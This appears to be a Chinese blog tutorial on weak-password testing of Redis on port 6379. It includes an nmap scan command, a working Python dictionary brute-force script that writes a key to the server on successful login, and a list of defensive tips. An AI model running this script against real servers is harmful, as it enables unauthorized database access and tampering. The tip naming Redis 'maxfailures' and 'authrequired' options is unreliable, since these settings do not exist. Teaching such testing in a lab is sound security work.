Python 渗透测试:Redis 数据库 弱密码测试.(6379端口)

news2025/1/17 23:09:41

什么是 Redis 数据库

Redis (Remote Dictionary Server) 是一个开源的、内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。它支持多种类型的数据结构,如字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)、有序集合(sorted sets)等,并且能够对这些数据结构进行高级操作。Redis 数据库爆破是指利用暴力破解的方式尝试获取 Redis 数据库的访问权限。


目录:

什么是 Redis 数据库

Python 编写渗透测试基础:

Redis 数据库弱密码测试的原理主要包括以下几个方面:

环境的搭建:

(1)在 Redis 数据库的目录下,找到  redis.windows.conf 这个文件.

(2)查找登录的密码.

(3)打开 Redis 数据库.

(4)测试连接看.

Redis 数据库 弱密码测试:

(1)端口扫描查看是否 存在 6379 端口的开放.

(2)Redis 数据库 弱密码测试:

防范 Redis 数据库遭受弱密码的攻击,可以从以下几个方面着手:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.

(2)编写难度是根据协议和探针利用复现复杂程度决定的.

例如:
    mysql类型的漏洞复现漏洞 
    大部分都是在mysql里面进行python写这个漏洞利用 
    是不是也要用到mysql的库来进行连接 后续操作 复现一致

Redis 数据库弱密码测试的原理主要包括以下几个方面:

(1)未授权访问

    某些 Redis 实例在部署时未设置密码访问控制,导致任何人都可以通过默认端口访问和操作数据库。攻击者可以直接连接到这些 Redis 实例并执行各种操作。

(2)弱密码

    如果 Redis 密码设置得过于简单,攻击者可以使用字典攻击或暴力破解的方式来猜测密码。这种方式需要大量的计算资源和时间,但仍然可能成功。

(3)已知漏洞利用

    如果 Redis 存在已知的安全漏洞,攻击者可以利用这些漏洞直接获取 Redis 的访问权限,而不需要密码。这类漏洞通常会被安全研究人员发现并公开,需要及时修复。

(4)密码泄露

    如果 Redis 密码被泄露,攻击者就可以直接使用这些密码登录 Redis 实例。密码泄露可能是由于系统管理员失误、内部人员泄露或者其他原因导致的。

(5)暴力破解

    攻击者可以使用自动化工具,生成各种可能的密码组合,逐个尝试登录 Redis 实例。这种方式需要大量的计算资源和时间,但如果密码足够简单,仍然可能成功。

环境的搭建:

(1)在 Redis 数据库的目录下,找到  redis.windows.conf 这个文件.

(2)查找登录的密码.

requirepass


(3)打开 Redis 数据库.

redis-server.exe redis.windows.conf


(4)测试连接看.

redis-cli.exe            # 在目录下执行这个


Redis 数据库 弱密码测试:

(1)端口扫描查看是否 存在 6379 端口的开放.

nmap 172.16.10.12 -p  6379


(2)Redis 数据库 弱密码测试:

redis服务默认端口:6379

redis:远程登录不需要账号,只要密码            !!!!!

(所以在编写的时候不用编写账号.)

(.py文件不能库的文件一样)
#导入 redis 和 os 模块,分别用于连接 Redis 服务器和获取操作系统相关信息
import redis,os         
 
# 定义一个名为 redis_check 的函数,接受两个参数:ip 和 password(因为他不用账号,所以不需要传账号.)
def redis_check(ip,password):
    # 打印当前正在检查的 IP 和密码组合
    print('check->' + ip + '|' + password)
    
    try:                                         # 做容错(就是如果正确则进行下面的)
        # 尝试使用给定的 IP 和密码连接 Redis 服务器
        redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
        # 如果连接成功,设置一个名为 test 的键,值为 'bgxg'
        redis_conn.set('test', 'bgxg111')
        print('登录成功')
        # 退出
        exit()

    except Exception as e:              # 如果连接失败
        print("登录失败")

# 这是 Python 的标准写法,确保只有在脚本作为主程序运行时,下面的代码才会执行。
if __name__ == '__main__':
    # 获取当前工作目录
    pypath = os.getcwd() 
    ip = input('请输入你要爆破的 Redis 数据库的 IP 地址:')
    # 注意修改字典所在目录
    for password in open(pypath + '//dic_password_redis.txt'):
         # 对于每一行,它会去掉行末的换行符 "\n",并将其替换为空格 ""(里面不要加空格)
        password = password.replace('\n', '')  
        # 传递了二个参数,上面对接.
        redis_check(ip, password)               


防范 Redis 数据库遭受弱密码的攻击,可以从以下几个方面着手:

(1)设置强密码

确保 Redis 实例设置了复杂度较高的密码,不要使用简单的单词或数字组合。建议密码长度在 12 个字符以上,包含大小写字母、数字和特殊字符。

(2)开启访问控制

启用 Redis 的访问控制功能,只允许指定的 IP 地址或网段访问 Redis 实例。可以使用 Redis 的 bind 和 protected-mode 配置项来实现。

(3)限制登录尝试次数

配置 Redis 的 maxfailures 和 authrequired 选项,限制客户端登录尝试的次数,超过限制后会暂时禁止该客户端的连接。这可以有效防御暴力破解攻击。

(4)开启日志记录

启用 Redis 的日志记录功能,记录所有客户端的访问情况。可以通过分析日志发现异常登录行为,并及时采取措施。

(5)及时修复漏洞

密切关注 Redis 的安全公告,及时修复已知的安全漏洞。这可以避免攻击者利用漏洞直接获取 Redis 实例的访问权限。

(6)网络隔离

将 Redis 实例部署在内网环境,并通过负载均衡或反向代理的方式对外提供服务。这可以隔离 Redis 实例与外部网络的直接访问。

(7)数据备份

定期备份 Redis 数据库的内容,以便在发生安全事故时能够快速恢复数据。

(8)监控预警

设置监控系统,实时监控 Redis 实例的运行状态和访问情况,及时发现异常并预警。

   

   

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1682594.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

9、QT—SQLite使用小记

前言 开发平台:Win10 64位 开发环境:Qt Creator 13.0.0 构建环境:Qt 5.15.2 MSVC2019 64位 sqlite版本:sqlite3 文章目录 一、Sqlite是什么二、sqlite使用步骤2.1 下载2.2 安装2.3 使用 三、Qt集成sqlite33.1 关键问题3.2 封装sql…

JAVA开发 基础Jaccard来计算两个字符串之间的重复率

计算两个字符串之间的重复率 Jaccard实现代码基于最长公共子序列来计算两个字符串之间的重复率 Jaccard Jaccard方法,也称为Jaccard相似度或Jaccard相似系数,是一种用于衡量两个集合相似程度的指标。其逻辑基于集合之间的交集与并集的关系来衡量它们的相…

5.23-

回顾 I0多路复用的原理? 程序首先向操作系统发起一个IO多路复用请求,告诉操作系统需要监视哪些IO通道。这些IO通道可以包括网络套接字、文件描述符等操作系统随后会将这些IO通道放入一个队列中,并在某个IO通道就绪时(如数据到达、文件可读…

Aws EC2 + Aws Cli + Terraform

1 什么是 Terraform? Terraform 是由 HashiCorp 创建的“基础架构即代码”(Infrastructure-as-Code,IaC)开源工具。Terraform 的配置语言是 HashiCorp Configuration Language(HCL),用来替代更加冗长的 JSON 和 XML 等…

7---Linux调试器gdb及拓展知识

一、先决知识补充: 1.1为什么测试人员需要测试的版本必须是release版本而不是debug版本? release版本是用户使用到的版本,release版本能够提供更真实的性能表现、完整的代码逻辑、安全性、稳定性以及用户体验。测试release版本可以确保用户…

基于深度学习PET/CT放射学的预后价值:未来在晚期鼻咽癌个体化诱导化疗中的潜在作用 | 文献速递-深度学习结合影像组学

Title 题目 Prognostic Value of Deep Learning PET/CT-BasedRadiomics: Potential Role for Future IndividualInduction Chemotherapy in AdvancedNasopharyngeal Carcinoma 基于深度学习PET/CT放射学的预后价值:未来在晚期鼻咽癌个体化诱导化疗中的潜在作用 0…

Android 逆向学习【2】——APK基本结构

APK安装在安卓机器上的,相当于就是windows的exe文件 APK实际上是个压缩包 只要是压缩的东西 .jar也是压缩包 里面是.class(java编译后的一些东西) APK是Android Package的缩写,即Android安装包。而apk文件其实就是一个压缩包,我们可以将apk文件的后…

【McCabe度量法】方法详解和软考历年真题

🔎嘿,这里是慰慰👩🏻‍🎓,会发各种类型的文章,智能专业,从事前端🐾 🎉如果有帮助的话,就点个赞叭,让我开心一下!&#x1f…

slam14讲(第9,10讲 后端)

slam14讲(第9,10讲 后端) 后端分类基于滤波器的后端线性系统和卡尔曼滤波非线性系统和扩展卡尔曼滤波 BA优化H矩阵的稀疏性和边缘化H矩阵求解的总结 位姿图优化公式推导 基于滑动窗口的后端个人见解旧关键帧的边缘化 后端分类 基于滤波器的后…

Linux-文件或目录权限

在使用 ll 时,可以查看文件夹内容的详细信息,信息的第1位表示类型,具体信息如下: 类型说明-普通文件d文件夹b块设备文件c字符设备文件p管道文件s套接口文件 第2-10位表示权限, 举例:rwxr-xr-x 类型说明r…

Golang | Leetcode Golang题解之第97题交错字符串

题目&#xff1a; 题解&#xff1a; func isInterleave(s1 string, s2 string, s3 string) bool {n, m, t : len(s1), len(s2), len(s3)if (n m) ! t {return false}f : make([]bool, m 1)f[0] truefor i : 0; i < n; i {for j : 0; j < m; j {p : i j - 1if i >…

mysql误删后使用binlog恢复数据

1 预期效果 使用 binlog 恢复数据的预期效果是将误删的数据还原到误删之前的状态&#xff0c;以减少或消除数据丢失的影响。通过正确解析和执行 binlog 中的操作记录&#xff0c;可以重新执行误删操作之后的插入、更新或删除操作&#xff0c;从而恢复被误删的数据。 数据恢复&…

二.Flowable自带Demo(Flowable-UI)体验

问题反馈 如有问题可通过微信公众号“假装正经的程序员”反馈 Flowable-UI是什么 Flowable-UI是flowable自带的一套供开发人员体验的系统&#xff0c;它通过后台的UI建模&#xff0c;让开发人员了解Flowable的工作流程&#xff0c;同时它部署简单&#xff0c;只需要将对应的w…

医学AI最新研究·哈佛医学院·告别切片局限:3D病理如何革新癌症预后

小罗碎碎念 本期文章分享的主要是AI与肿瘤的复发、转移相关的最新研究。 筛选规则如下&#xff1a; (artificial intelligence or deep Learning or convolutional networks or transformer or selfattention or machine learning) and (Tumor metastasis or Recurrence of Ca…

Windows系统安装OpenSSH使用VScode远程连接内网Linux服务器开发

文章目录 &#x1f4a1;推荐 前言1、安装OpenSSH2、VS Code配置ssh3. 局域网测试连接远程服务器4. 公网远程连接4.1 ubuntu安装cpolar内网穿透4.2 创建隧道映射4.3 测试公网远程连接 5. 配置固定TCP端口地址5.1 保留一个固定TCP端口地址5.2 配置固定TCP端口地址5.3 测试固定公网…

视频批量裁剪助手:一键式高效缩小视频尺寸,极速提升工作效率的必备神器!

视频已经成为我们日常生活和工作中不可或缺的一部分。无论是个人vlog、企业宣传片&#xff0c;还是教学视频、广告素材&#xff0c;视频都承载着大量的信息和情感。然而&#xff0c;很多时候&#xff0c;我们手中的视频尺寸并不符合我们的需求&#xff0c;这时&#xff0c;一款…

Xilinx(AMD) FPGA通过ICAP原语读取芯片IDCODE实现方法

1 概述 Xilinx每种型号的FPGA芯片都有一个唯一的IDCODE与之对应&#xff0c;同一型号不同封装的IDCODE是相同的。IDCODE的获取方法包括JTAG、ICAP原语、AXI_HWICAP IP核等。获取IDCODE常用于根据芯片型号改变代码的功能&#xff0c;或者对代码进行授权保护&#xff0c;只能在指…

ROS | 用C++和python实现运动控制功能

基础知识&#xff1a; 用C实现&#xff1a; C代码&#xff1a; 用python实现&#xff1a; Python代码&#xff1a;

【编译原理复习笔记】语法分析-补充(二义性与LR错误处理)

二义性文法的 LR 分析 每个二义性文法都不是 LR 的 但是某些二义性文法更加简短&#xff0c;描述更方便 如 I7 和 I8 具有移进归约冲突 使用优先级和结合性解决冲突 对于 I7&#xff0c;由于乘号优先级高于加号&#xff0c;所以当下一个输入符号为乘号时&#xff0c;我们优…

Python 机器学习 基础 之 数据表示与特征工程 【单变量非线性变换 / 自动化特征选择/利用专家知识】的简单说明

Python 机器学习 基础 之 数据表示与特征工程 【单变量非线性变换 / 自动化特征选择/利用专家知识】的简单说明 目录 Python 机器学习 基础 之 数据表示与特征工程 【单变量非线性变换 / 自动化特征选择/利用专家知识】的简单说明 一、简单介绍 二、单变量非线性变换 三、自…